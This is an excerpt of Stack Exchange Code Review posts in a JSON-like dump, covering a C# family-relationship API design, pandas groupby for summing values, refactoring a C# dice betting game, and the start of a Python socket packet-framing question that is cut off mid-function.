"body": "<h1>Design</h1>\n\n<p>Your API allows consumers to navigate people by their relationships to other people. For this reason, it surprises me you define a person as a simple DTO. By making this decision, you require static classes to store the relationships and fishy extension methods to get the relationships.</p>\n\n<blockquote>\n<pre><code> public static IEnumerable<Person> Children(this Person person, Gender? gender = null)\n {\n List<Person> result = new List<Person>();\n IPersonRelationships personRelationships = FamilyGraph.Get(person); // <- code-smell\n // .. \n }\n</code></pre>\n</blockquote>\n\n<p>You could make a much cleaner API by using best practices when dealing with family trees. <code>Person</code> should not be a DTO, but a node instead. This allows navigation amongst people without having to require static dependencies.</p>\n\n<pre><code>public class Person\n{\n public Person Father { get; private set; }\n public Person Mother { get; private set; }\n public Person Spouse { get; private set; }\n public IReadonlyCollection<Person> Children { get { /* .. */ }}\n\n // constructor, properties, and methods ..\n}\n</code></pre>\n\n<p>Navigating the family tree becomes much simpler.</p>\n\n<pre><code>var grandMotherOfSpouseOfFatherOfAria = Aria.Father.Spouse.Mother.Mother;\n</code></pre>\n\n<p>Classes like <code>Edge</code> and <code>Relationships</code> have no added value for the consumer of the API. If you should decide to keep using them, make them private to the API.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T18:58:35.327",
"Id": "431637",
"Score": "2",
"body": "mhmm while I somehow agree with the idea on non-dtos (nice navigation properties) it'd be a pain to store it in a database or map it back and forth... or even how deep? I think the dto-model is a more efficient one and easier to deal with. Then what happens when someone invents a new kind of relationship? You'd need to extend the `Person` type."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T19:02:32.840",
"Id": "431638",
"Score": "0",
"body": "On the contrary, it would be stored well normalized in the database :) Using DTOs to solve tree-like problems is a pain."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T18:53:52.063",
"Id": "222886",
"ParentId": "222832",
"Score": "0"
}
},
{
"body": "<h3>Design</h3>\n\n<ul>\n<li>As you noticed, a service locator is a problematic solution for your <code>IFamilyGraph</code> dependency problem in <code>BaseRelationships</code>. There's a much simpler solution: make these methods extensions for <code>IFamilyGraph</code>. It's <code>IFamilyGraph</code> that lets you obtain relationships for a person, so that is the API that you're extending. Alternately, you could pass <code>IFamilyGraph</code> as an argument, but that results in a less intuitive API in my opinion.</li>\n<li>Supporting 'intrinsic' relationships via extension methods is not necessarily a good idea. For example, because you're limited to using a public API, you may not be able to apply certain optimizations compared to a 'native' implementation. In this case, you're fetching all relationships of a person, only to select a few of them, or to fetch the relationships of those relationships. With a database-backed implementation, this may lead to more database roundtrips and more data transfer than necessary.</li>\n<li>Your naming is inconsistent. <code>Edge</code> make sense when dealing with a graph data structure, but because your API is focused on family relationships, and because you're referring to <code>Person</code>s rather than nodes, I would rename <code>Edge</code> to <code>Relationship</code>. Similarly, <code>Add</code> and <code>Get</code> make sense in a general-purpose data structure, but here names like <code>AddPerson</code> and <code>GetRelationships</code> improve clarity.</li>\n<li>Splitting things up into an <code>IPersonStore</code> and <code>IFamilyGraph</code> might make sense, but having to use both at different times makes your code difficult to use. I would combine them into a single API that lets you register and look up both people and their relationships.</li>\n</ul>\n\n<h3>Other notes</h3>\n\n<ul>\n<li><code>FamilyGraph</code> depends on an <code>IPersonStore</code>, so I would pass it as a constructor argument. This makes the dependency visible, and gives you more flexibility, such as being able to simultaneously test multiple family graphs, each with their own test person store.</li>\n<li><code>FamilyGraph</code> uses <code>Person</code> as key. <code>Person</code> does not implement <code>Equals</code> and <code>GetHashCode</code>, so that is problematic, but this also means that <code>FamilyGraph</code> 'duplicates' data from <code>PersonStore</code>, and that callers are forced to first obtain a <code>Person</code> object before they can fetch that persons relationships. That complicates things - see <code>Relationships</code>. Using person names (or rather, a <em>unique</em> identifier) for lookup and as keys whenever possible should make the API a little easier to use.</li>\n<li>With <code>FamilyGraph.PersonStore</code> being injected, the relationship extension methods being extensions on <code>IFamilyGraph</code>, and <code>FamilyGraph.Get</code> no longer requiring a <code>Person</code> but a <code>name</code> instead, there's no need for <code>ServiceLocator</code> anymore.</li>\n<li><code>FamilyGraph.Get</code> returns a mutable relationships object. This allows outside code to mess with internal state, bypassing <code>FamilyGraph.Add</code>. With the current implementation, that may work, but it'll break when you switch to a database-backed graph. Don't expose internal state: return a sequence of immutable relationships instead.</li>\n<li>There's no use for <code>IPersonRelationships</code> and <code>IRelationships</code> - <code>PersonRelationships</code> is a simple internal data object, and <code>Relationships</code> is a set of high-level convenience methods. There's no use in creating interfaces for everything.</li>\n<li>Organizing code into namespaces based on type (enums, interfaces) is not very useful, I think. In this case there aren't that many types anyway, so you might as well leave everything in the same namespace. Mark types that should not be exposed as part of the public API as <code>internal</code>.</li>\n<li>It's a good idea to document preconditions (such as that <code>PersonStore.Add(Person)</code> won't accept a person whose name is already taken) and failure behavior (such as the effect of <code>PersonStore.Add(IEnumerable<Person>)</code> when one of the given persons cannot be added - does it roll back the changes? If not, how does a caller know which persons were added?).</li>\n</ul>\n\n<h3>C# specific</h3>\n\n<ul>\n<li>Using field initializers lets you remove the <code>PersonStore</code> and <code>FamilyGraph</code> constructors.</li>\n<li><code>try { DoSomething(); } catch (Exception) { throw; }</code> is pointless. Just write <code>DoSomething();</code> instead.</li>\n<li>You could make more use of <code>var</code>. There's no need to repeat type names in statements like <code>List<Person> result = new List<Person>();</code>.</li>\n<li>Accepting a <code>List<T></code> instead of an <code>IEnumerable<T></code> so you can use <code>List.ForEach</code> is restrictive for callers, and doesn't really offer any benefits: <code>ForEach</code> can easily be replaced with a <code>foreach</code> loop.</li>\n<li><code>out</code> variables can be declared in-line: <code>people.TryGetValue(personName, out var person)</code>.</li>\n<li>As mentioned above, <code>Person</code> does not implement <code>Equals</code> and <code>GetHashCode</code>. This means that dictionary lookups will only work for the exact same instance: <code>Families[new Person(\"A\", Gender.Male)] = ...; Families.ContainsKey(new Person(\"A\", Gender.Male)) --> false</code>.</li>\n<li>Instead of doing a dictionary <code>TryAdd</code> method followed by a <code>TryGetValue</code>, call <code>TryGetValue</code> first and then, only if necessary, call <code>Add</code>.</li>\n<li>You occasionally create a list with <code>ToList()</code>, only to add it to another list (<code>results.AddRange(...)</code>) and then return that list. It's more efficient to return that first list directly.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:42:10.413",
"Id": "222915",
"ParentId": "222832",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222915",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T00:43:54.037",
"Id": "222832",
"Score": "3",
"Tags": [
"c#",
"programming-challenge",
"tree",
"graph",
".net-core"
],
"Title": "Geektrust: Modelling Family Relationships in a OO way"
} | 222832 |
<p>I need to make a frequency dictionary from a pandas series (from the 'amino_acid' column in dataframe below) that also adds an adjacent row for each entry in the dictionary (from 'templates' column).</p>
<pre><code> templates amino_acid
0 118 CAWSVGQYSNQPQHF
1 635 CASSLRGNQPQHF
2 468 CASSHGTAYEQYF
3 239 CASSLDRLSSGEQYF
4 51 CSVEDGPRGTQYF
</code></pre>
<p>My current approach of iterating through the dataframe seems to be inefficient and even an anti-pattern. How can I improve the efficiency/use best practice for doing this?</p>
<p>My current approach:</p>
<pre class="lang-py prettyprint-override"><code>sequence_counts = {}
seqs= list(zip(df.amino_acid, df.templates))
for seq in seqs:
if seq[0] not in sequence_counts:
sequence_counts[seq[0]] = 0
sequence_counts[seq[0]] += seq[1]
</code></pre>
<p>I've seen people the below way, but can't figure out how to adjust it to add each respective 'templates' entry:</p>
<pre class="lang-py prettyprint-override"><code>sequence_counts = df['amino_acid'].value_counts().to_dict()
</code></pre>
<p>Any help/feedback would be greatly appreciated! :)</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:15:32.833",
"Id": "431524",
"Score": "0",
"body": "are you looking for `df.groupby('amino_acid',sort=False).templates.sum().to_dict()` when you say sequence counts, i am guessing you are trying to maintain the original order."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T10:03:02.377",
"Id": "431540",
"Score": "0",
"body": "_\"I've seen people the below way, but can't figure out how to adjust it to add each respective 'templates' entry:\"_ this sounds like a request for help with implementing a feature, which is off-topic here on CodeReview.SE. You might want to remove this bit, or rephrase it if you think I've misunderstood the request."
}
] | [
{
"body": "<p>Yes, iterating through a dataframe usually is at odds with the spirit of dataframes and numpy arrays. They are best suited for vectorized operations, which are operations applied in bulk to rows/columns of the data structure.</p>\n\n<p>Assuming that you've cast <code>templates</code> as an <code>int64</code> or similar, you can use <a href=\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.groupby.html\" rel=\"nofollow noreferrer\"><code>pd.groupby</code></a> to do the same sort of grouping as you are doing with your dictionary:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import pandas as pd\n\ndf\n amino_acid templates\n0 CAWSVGQYSNQPQHF 118\n1 CASSLRGNQPQHF 635\n2 CASSHGTAYEQYF 468\n3 CASSLDRLSSGEQYF 239\n4 CSVEDGPRGTQYF 51\n5 CASSLDRLSSGEQYF 66 # I've added this extra row here to show the effect\n\n# these act as Series objects, so you can add together the\n# grouped templates values\ndf.groupby('amino_acid')\n# pd.groupby object\n\n# use pd.Series.sum() to do this:\ndf.groupby('amino_acid').sum()\n\n templates\namino_acid\nCASSHGTAYEQYF 468\nCASSLDRLSSGEQYF 305 # this was added for the two amino acids\nCASSLRGNQPQHF 635\nCAWSVGQYSNQPQHF 118\nCSVEDGPRGTQYF 51\n\n</code></pre>\n\n<p>So what's going on in <code>df.groupby</code>? Well, you give it what to group on first. In this case, you group on the value for <code>amino_acid</code>. This creates a data structure that looks quite familiar if you've used <code>itertools.groupby</code>: tuples of <code>(grouping key, DataFrame)</code> pairs, where the <code>DataFrame</code> is a subset that matches the key. For example:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>tmp = [(x, y) for x,y in df.groupby('amino_acid')]\n\n[('CASSHGTAYEQYF', amino_acid templates\n2 CASSHGTAYEQYF 468), \n('CASSLDRLSSGEQYF', amino_acid templates\n3 CASSLDRLSSGEQYF 239\n5 CASSLDRLSSGEQYF 66), \n('CASSLRGNQPQHF', amino_acid templates\n1 CASSLRGNQPQHF 635), \n('CAWSVGQYSNQPQHF', amino_acid templates\n0 CAWSVGQYSNQPQHF 118), \n('CSVEDGPRGTQYF', amino_acid templates\n4 CSVEDGPRGTQYF 51)]\n</code></pre>\n\n<p>And per the docs, [<code>df.sum</code>] will return the sum on the specified axis (1 by default). So, for <code>tmp[1]</code>, which contains two rows:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>tmp[1][1].sum()\n\namino_acid CASSLDRLSSGEQYFCASSLDRLSSGEQYF\ntemplates 305\ndtype: object\n</code></pre>\n\n<p>Where <code>305</code> is the sum. The <code>pd.groupby</code> object as a whole supports the <code>.sum</code> call, so we are able to call it like we did above.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># Now, using `to_dict`, you can see that you want what's inside templates\ndf.groupby(\"amino_acid\").sum().to_dict()\n\n# {'templates': {'CASSHGTAYEQYF': 468, 'CASSLDRLSSGEQYF': 305, 'CASSLRGNQPQHF': 635, 'CAWSVGQYSNQPQHF': 118, 'CSVEDGPRGTQYF': 51}}\n\n# so use the templates attribute to grab it\ndf.groupby(\"amino_acid\").sum().templates.to_dict()\n# {'CASSHGTAYEQYF': 468, 'CASSLDRLSSGEQYF': 305, 'CASSLRGNQPQHF': 635, 'CAWSVGQYSNQPQHF': 118, 'CSVEDGPRGTQYF': 51}\n</code></pre>\n\n<p>This applies the operations within the dataframe, which is more efficient than a loop. The analogue that you were trying to use could leverage <a href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\" rel=\"nofollow noreferrer\"><code>defaultdict</code></a> from the collections module, as well. It prevents the need to check for a key's existence, speeding up the loop immensely:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>from collections import defaultdict\n\n# specify your input type here\nsequence_counts = defaultdict(int)\n\n# it is more pythonic to use tuple-unpacking in loops\n# as indexing is less readable\nfor amino, template in zip(df.amino_acid, df.templates):\n sequence_counts[amino] += template\n</code></pre>\n\n<p>Also, by iterating over the <code>zip</code> object directly, you don't copy data into memory. <code>list</code> will aggregate all of the members into a data structure, whereas <code>zip</code> is a generator that will just produce the members one at a time until exhausted. It's like the difference between <code>for x in range</code> and <code>for x in list(range)</code>:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># This will just run for a really really really long time\nfor i in range(1000000000000): \n print(i)\n\n# This will crash your computer, it will never\n# get to the print statement, because it must evaluate\n# list(range) before it starts the loop\nfor i in list(range(1000000000000)):\n print(i)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T02:38:39.783",
"Id": "222837",
"ParentId": "222833",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "222837",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T00:53:10.333",
"Id": "222833",
"Score": "5",
"Tags": [
"python",
"python-3.x",
"pandas",
"bioinformatics"
],
"Title": "Building a frequency dictionary from a Pandas dataframe"
} | 222833 |
<p>This is my first project over 100 lines and I would like some feedback on it. If anyone has any ideas for things to add or ways to make the code more efficient they would be very much appreciated.</p>
<pre><code>class Program
{
static void Main(string[] args)
{
Betting game1 = new Betting();
game1.rules();
Console.WriteLine("");
while (true)
{
game1.game();
string answer = "";
Console.WriteLine("");
while (true)
{
Console.Write("Would you like to play again?(y or n) ");
answer = Console.ReadLine();
if (!answer.ToLower().Equals("y") && !answer.ToLower().Equals("n"))
{
Console.WriteLine("Please enter a valid answer.");
Console.WriteLine("");
continue;
}
else
break;
}
if (answer.ToLower().Equals("y")) {
game1.playAgain(answer);
continue;
}
else
break;
}
}
}
class Betting
{
private static long cashAmount;
private static long player1Amount;
private static long player2Amount;
private static int rollAmount;
private static long betAmountPlayer1;
private static long betAmountPlayer2;
private int numGames;
public Betting()
{
cashAmount = 1500;
player1Amount = cashAmount;
player2Amount = cashAmount;
rollAmount = 0;
betAmountPlayer1 = 100;
betAmountPlayer2 = 100;
numGames = 0;
}
public void rules()
{
Console.WriteLine("How the game works!");
Console.WriteLine("First: You can either set the custom cash amount for each player, or leave it default at $1500.");
Console.WriteLine("Second: Select how many dice you want to roll(5,10,15,20).");
Console.WriteLine("Third: Ask each player how much they want to bet.");
//Console.WriteLine("Fourth: The higher your bet, the better chance you have at winning"); not implemented yet
Console.WriteLine("Lastly it will print the results, the new balance amounts, and ask if you want to play again.");
}
public void game()
{
Dice dice1 = new Dice();
Dice dice2 = new Dice();
string answer = "";
while (numGames == 0)
{
Console.Write("Would you like to leave the cash default(def) or set your own?(custom) ");
answer = Console.ReadLine();
if (!answer.ToLower().Equals("def") && !answer.ToLower().Equals("custom"))
{
continue;
}
else
break;
}
if (answer.ToLower().Equals("custom"))
{
string newAmount = "";
while (true)
{
long temp = 0;
Console.Write("Please enter your custom amount: ");
newAmount = Console.ReadLine();
if (Int64.TryParse(newAmount, out temp))
{
cashAmount = temp;
player1Amount = cashAmount;
player2Amount = cashAmount;
break;
}
else
{
Console.WriteLine("ENTER A NUBMER");
Console.WriteLine("");
continue;
}
}
}
// show amout to each player
Console.WriteLine("");
Console.WriteLine("Player 1 amount: " + player1Amount);
Console.WriteLine("Player 2 amount: " + player2Amount);
// ask how many dice they want to roll
while (true)
{
Console.WriteLine("");
Console.Write("How many dice would you like to roll?(5,10,15,20) ");
answer = Console.ReadLine();
if (!answer.ToLower().Equals("5") && !answer.ToLower().Equals("10") && !answer.ToLower().Equals("15") && !answer.ToLower().Equals("20"))
{
Console.WriteLine("Enter a valid amount.");
continue;
}
else
break;
}
// ask how much each player wants to bet
while (true)
{
Console.WriteLine("");
Console.Write("Player 1 bet amount: ");
answer = Console.ReadLine();
if (Int64.TryParse(answer, out betAmountPlayer1))
{
if (betAmountPlayer1 < 0 || betAmountPlayer1 > player1Amount)
{
Console.WriteLine("Please enter a valid number.");
continue;
}
else if (betAmountPlayer1 <= player1Amount)
break;
}
else
{
Console.WriteLine("That is an invalid amount.");
continue;
}
}
while (true)
{
Console.WriteLine("");
Console.Write("Player 2 bet amount: ");
answer = Console.ReadLine();
if (Int64.TryParse(answer, out betAmountPlayer2))
{
if (betAmountPlayer2 < 0 || betAmountPlayer2 > player2Amount)
{
Console.WriteLine("Please enter a valid number.");
continue;
}
else if (betAmountPlayer2 <= player2Amount)
break;
}
else
{
Console.WriteLine("That is an invalid amount.");
continue;
}
}
// roll the dice
while (true)
{
if (Int32.TryParse(answer, out rollAmount))
{
//Dice dice1 = new Dice();
//Dice dice2 = new Dice();
dice1.rollDiceNoShow(rollAmount, true);
dice2.rollDiceNoShow(rollAmount, false);
break;
}
else
Console.WriteLine("Please enter a vaild number");
continue;
}
// print who had the higher sum
Console.WriteLine("");
Console.WriteLine("Player 1 had a score of: " + dice1.getPlayer1Sum());
Console.WriteLine("Player 2 had a score of: " + dice2.getPlayer2Sum());
Console.WriteLine("");
winner(dice1, dice2);
// ask if they want to play again
}
public void winner(Dice dice1, Dice dice2)
{
// check for the winner and update the cash amounts and show's their new balance
if(dice1.getPlayer1Sum() > dice2.getPlayer2Sum())
{
Console.WriteLine("Player 1 wins!");
Console.WriteLine("");
player1Amount += betAmountPlayer2;
player2Amount -= betAmountPlayer2;
Console.WriteLine("Player 1's new balance: " + player1Amount);
Console.WriteLine("Player 2's new balance: " + player2Amount);
}
else if (dice1.getPlayer1Sum() == dice2.getPlayer2Sum())
{
Console.WriteLine("It's a tie! no one wins!");
Console.WriteLine("");
Console.WriteLine("Player 1's balance: " + player1Amount);
Console.WriteLine("Player 2's balance: " + player2Amount);
}
else
{
Console.WriteLine("Player 2 wins!");
Console.WriteLine("");
player2Amount += betAmountPlayer1;
player1Amount -= betAmountPlayer1;
Console.WriteLine("Player 1's new balance: " + player1Amount);
Console.WriteLine("Player 2's new balance: " + player2Amount);
}
}
public void playAgain(string answer)
{
if (answer.ToLower().Equals("y"))
{
numGames++;
}
}
}
class Dice
{
private int player1Sum;
private int player2Sum;
private static int sides;
public Dice()
{
sides = 6;
player1Sum = 0;
player2Sum = 0;
}
public int rollDice(long nd) //nd = numDice
{
Random rand = new Random();
if (nd == 1)
{
int newSide = rand.Next(1, sides + 1);
return newSide;
}
for (int i = 1; i <= nd; i++)
{
int newSide = rand.Next(1, sides + 1);
Console.WriteLine("Dice Number " + i + " has landed on " + newSide);
}
return 0;
}
public void rollDiceNoShow(long nd, Boolean player1) //nd = numDice
{
Random rand = new Random();
// if there is only one dice
if (player1)
{
int newSide = rand.Next(1, sides + 1);
player1Sum += newSide;
}
else
{
int newSide = rand.Next(1, sides + 1);
player2Sum += newSide;
}
// more than one dice
if (player1)
{
for (int i = 1; i <= nd; i++)
{
int newSide = rand.Next(1, sides + 1);
player1Sum += newSide;
}
}
else
{
for (int i = 1; i <= nd; i++)
{
int newSide = rand.Next(1, sides + 1);
player2Sum += newSide;
}
}
}
public int getPlayer1Sum()
{
return player1Sum;
}
public int getPlayer2Sum()
{
return player2Sum;
}
}
</code></pre>
| [] | [
{
"body": "<p>First off, let's start by refactoring the <code>Dice</code> class:</p>\n\n<pre><code>public sealed class Die\n{\n private readonly Func<int, int, int> randomNumberGenerator;\n\n public int MinimumValue { get; }\n public int NumberOfSides { get; }\n\n public Die(int minimumValue, int numberOfSides, Func<int, int, int> randomNumberGenerator) {\n this.randomNumberGenerator = randomNumberGenerator;\n\n this.MinimumValue = minimumValue;\n this.NumberOfSides = checked(numberOfSides + 1);\n }\n\n public IEnumerable<int> Roll(int numberOfDice) {\n if (0 == numberOfDice) {\n yield break;\n }\n else {\n for (var i = 0; (i < numberOfDice); i++) {\n yield return randomNumberGenerator(MinimumValue, NumberOfSides);\n }\n }\n }\n public int Roll() => Roll(1).Single();\n public long RollAndSum(int numberOfDice) => Roll(numberOfDice).Select(d => ((long)d)).Sum();\n}\n</code></pre>\n\n<p>By saving a dedicated random number generator delegate during construction we can save the overhead of calling <code>new Random()</code> during repeated calls to <code>Roll</code>. In addition, the static member <code>sides</code> has been converted into an instance member because sharing that value amongst all <code>Dice</code> seemed like a very restrictive choice.</p>\n\n<p>Altering the <code>Roll</code> method so that it returns a set of values gives us a bit of flexibility and allows us to get rid of the duplicate code that was in <code>rollDiceNoShow</code> (now called <code>RollAndSum</code>).</p>\n\n<p>Now we need something to hold the metadata for our players:</p>\n\n<pre><code>public class BettingPlayer\n{\n public long CurrentAmount { get; }\n public string Name { get; }\n public Func<int, int, int> RandomNumberGenerator { get; }\n public long WagerAmount { get; }\n\n public BettingPlayer(long currentAmount, string name, Func<int, int, int> randomNumberGenerator, long wagerAmount) {\n this.CurrentAmount = currentAmount;\n this.Name = name;\n this.RandomNumberGenerator = randomNumberGenerator;\n this.WagerAmount = wagerAmount;\n }\n\n public BettingPlayer Lost(long newWager) => new BettingPlayer((CurrentAmount - WagerAmount), Name, RandomNumberGenerator, newWager);\n public BettingPlayer Lost() => Lost(WagerAmount);\n public BettingPlayer Won(long newWager) => new BettingPlayer((CurrentAmount + WagerAmount), Name, RandomNumberGenerator, newWager);\n public BettingPlayer Won() => Won(WagerAmount);\n}\n</code></pre>\n\n<p>This allows us to shuttle state around and grants us the ability us assign each player their own (potentially biased) random number generator; can be used to assign a handicap or advantage to certain players. Finally, the game class itself:</p>\n\n<pre><code>public sealed class BettingGame\n{\n private readonly int minimumValuePerDie;\n private readonly int numberOfDice;\n private readonly int numberOfSidesPerDie;\n\n private BettingPlayer[] players;\n\n public int NumberOfGamesPlayed { get; private set; }\n\n public BettingGame(int numberOfDice, int numberOfSidesPerDie, int minimumValuePerDie, params BettingPlayer[] players) {\n this.minimumValuePerDie = minimumValuePerDie;\n this.numberOfDice = numberOfDice;\n this.numberOfSidesPerDie = numberOfSidesPerDie;\n this.players = players;\n\n this.NumberOfGamesPlayed = 0;\n }\n\n public BettingPlayer GetWinner() => players.Aggregate((x, y) => (x.CurrentAmount > y.CurrentAmount) ? x : y);\n public void PlayRound() {\n var highScoreIds = new List<long>();\n var highScoreValue = 0L;\n var numberOfPlayers = players.Length;\n\n for (var i = 0; (i < numberOfPlayers); i++) {\n var currentPlayer = players[i];\n var score = new Die(minimumValuePerDie, numberOfSidesPerDie, currentPlayer.RandomNumberGenerator).RollAndSum(numberOfDice);\n\n if (score > highScoreValue) {\n highScoreIds.Clear();\n highScoreIds.Add(i);\n\n highScoreValue = score;\n }\n else if (score == highScoreValue) {\n highScoreIds.Add(i);\n }\n }\n\n var results = new BettingPlayer[numberOfPlayers];\n\n for (var i = 0; (i < highScoreIds.Count); i++) {\n var playerId = highScoreIds[i];\n\n results[playerId] = players[playerId].Won();\n }\n\n for (var i = 0; (i < results.Length); i++) {\n var temp = results[i];\n\n if (temp == null) {\n results[i] = players[i].Lost();\n }\n }\n\n players = results;\n\n NumberOfGamesPlayed++;\n }\n\n private static int GetIntegerInput(string message) {\n Console.Write($\"{message}: \");\n\n while (true) {\n if (int.TryParse(Console.ReadLine(), out int numberOfPlayers)) {\n return numberOfPlayers;\n }\n }\n }\n\n public static int GetNumberOfPlayers() => GetIntegerInput(\"enter the number of players\");\n public static long GetPlayerWager(int playerNumber) => GetIntegerInput($\"enter the wager amount for player {playerNumber}\");\n public static long GetPlayerStartingCash(int playerNumber) => GetIntegerInput($\"enter the starting cash for player {playerNumber}\");\n public static BettingGame Initalize(int numberOfDice, int numberOfSidesPerDie) {\n var minimumValuePerDie = 0;\n var numberOfPlayers = GetNumberOfPlayers();\n var players = new BettingPlayer[numberOfPlayers];\n\n for (var i = 0; (i < numberOfPlayers); i++) {\n var rng = new Random();\n\n players[i] = new BettingPlayer(GetPlayerStartingCash(i), $\"Player {i}\", rng.Next, GetPlayerWager(i));\n }\n\n return new BettingGame(numberOfDice, numberOfSidesPerDie, minimumValuePerDie, players);\n }\n}\n</code></pre>\n\n<p>The BettingGame class encapsulates the state required to play; the core logic of the game has been separated from everything else in order to clean everything up a bit and an initialization step has been added to allow for a variable number of players/settings.</p>\n\n<p><strong>Example Usage:</strong></p>\n\n<pre><code>class Program\n{\n static void Main(string[] args) {\n var game = BettingGame.Initalize(numberOfDice: 1, numberOfSidesPerDie: 1);\n\n game.PlayRound();\n\n var winner = game.GetWinner();\n\n Console.WriteLine($\"the winner is: {winner.Name}\");\n Console.WriteLine($\"they ended the game with: {winner.CurrentAmount}\");\n Console.ReadKey();\n }\n}\n</code></pre>\n\n<p><strong>Notes:</strong></p>\n\n<ul>\n<li><code>GetWinner</code> doesn't handle the case where one or more players end the series a tie; I was too lazy to come up with something better</li>\n<li>there are bits of code that were intentionally left out (such as the <code>rules</code> method); again, out of laziness</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T15:11:00.793",
"Id": "222874",
"ParentId": "222835",
"Score": "4"
}
},
{
"body": "<h2>Dealing with Console and User Input</h2>\n\n<p>You have lots of verbose, repeating code requesting user input.</p>\n\n<blockquote>\n<pre><code>while (true)\n{\n Console.Write(\"Would you like to play again?(y or n) \");\n answer = Console.ReadLine();\n if (!answer.ToLower().Equals(\"y\") && !answer.ToLower().Equals(\"n\"))\n {\n Console.WriteLine(\"Please enter a valid answer.\");\n Console.WriteLine(\"\");\n continue;\n }\n else\n break;\n}\n</code></pre>\n</blockquote>\n\n<p>Wouldn't you rather write something like ..</p>\n\n<pre><code>if (PlayAgain())\n{\n // perform logic ..\n} \nelse {\n // perform logic ..\n}\n</code></pre>\n\n<p>You should seperate user input logic from the game and use a simple pattern for requesting user input.</p>\n\n<p>Show a <code>message</code> to the user, with a list of <code>options</code> appended. The user output is tested against the options, unless no options are specified. Two functions <code>projection</code> and <code>layout</code> are provided to map the user output from <code>string</code> to <code>T</code> and vice versa.</p>\n\n<h1>Pattern used for requesting user input</h1>\n\n<pre><code>static T ReadInput<T>(\n string message, \n Func<string, T> projection,\n Func<T, string> layout,\n params T[] options)\n{\n var correctInput = false;\n var input = default(T);\n var formattedMessage = options == null || options.Length == 0\n ? message : $\"{message} [{string.Join(\", \", options.Select(layout))}]\";\n\n Console.WriteLine();\n Console.WriteLine(formattedMessage);\n\n do\n {\n Console.Write(\">\");\n Console.ForegroundColor = ConsoleColor.White;\n var inputToken = Console.ReadLine();\n var error = false;\n Console.ForegroundColor = ConsoleColor.Gray;\n\n try\n {\n input = projection(inputToken);\n }\n catch\n {\n error = true;\n }\n\n correctInput = !error && (\n options == null \n || options.Length == 0\n || options.Any(o => o.Equals(input))\n );\n\n if (!correctInput)\n {\n Console.WriteLine(\"Please try again.\");\n }\n\n } while (!correctInput);\n\n return input;\n}\n</code></pre>\n\n<h1>Operations requesting for user input</h1>\n\n<pre><code>public static bool PlayAgain()\n{\n return ReadInput(\n \"Would you like to play again?\", \n x => {\n switch (x.Trim().ToLowerInvariant())\n {\n case \"y\":\n return true;\n case \"n\":\n return false;\n default:\n throw new FormatException();\n }\n },\n x => x ? \"y\" : \"n\",\n true, false);\n}\n\npublic enum CashOption\n{\n Default,\n Custom\n}\n\npublic static CashOption PickCashOption()\n{\n return ReadInput(\n \"Would you like to leave the cash default or set your own?\",\n x => (CashOption)Enum.Parse(typeof(CashOption), x.Trim(), true),\n x => x.ToString(),\n Enum.GetValues(typeof(CashOption)).Cast<CashOption>().ToArray());\n}\n\npublic static long PickAmount()\n{\n return ReadInput(\n \"Please enter your custom amount:\",\n x => long.Parse(x),\n x => x.ToString());\n}\n\npublic static int PickDiceRolls()\n{\n return ReadInput(\n \"How many dice would you like to roll?\",\n x => int.Parse(x),\n x => x.ToString(),\n 5, 10, 15, 20);\n}\n</code></pre>\n\n<h1>Usage in your game</h1>\n\n<pre><code>var cashOption = PickCashOption();\nif (cashOption = CashOption.Default)\n{\n // perform logic ..\n}\n</code></pre>\n\n<p>Display</p>\n\n<pre><code>Would you like to leave the cash default or set your own? [Default, Custom]\n>\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:42:02.323",
"Id": "222880",
"ParentId": "222835",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T01:46:46.153",
"Id": "222835",
"Score": "5",
"Tags": [
"c#",
"beginner",
"dice"
],
"Title": "A betting game using a dice class in C#"
} | 222835 |
<p>I'm currently writing a python script which needs some simple networking. After some playing around with sockets, this emerged, but as this is my first foray into sockets I'd really like a second opinion.</p>
<p>Edit: I know my script is not PEP8 compliant, as this is just an experiment. I posted it here to get Feedback about my usage of Sockets, and if there are any pitfalls or corner cases I overlooked.</p>
<p>Package Format:</p>
<blockquote>
<p>datalength+1 \0 data \0</p>
</blockquote>
<pre><code>import socket
sep: bytes = b'\0'
minpacketsize: int = 10
def sendpacket(sock: socket.socket, data: bytes) -> None:
send: bytes = str(len(data) + 1).encode('utf-8') + sep + data + sep
if len(send) < minpacketsize:
raise ValueError("Packet too small!")
sock.sendall(send)
def recivepacket(sock: socket.socket) -> bytes:
datalen = 0
header: bytearray = bytearray()
while not datalen:
header += sock.recv(1)
if header.endswith(sep):
try:
datalen = int(header[:-1].decode('utf-8'))
except UnicodeDecodeError or ValueError as e:
raise ValueError("Error while decoding header!") from e
if len(header) == 10:
raise ValueError("Could not find Header!")
rawdata: bytes = sock.recv(datalen)
if rawdata.endswith(sep):
return rawdata[:-1]
else:
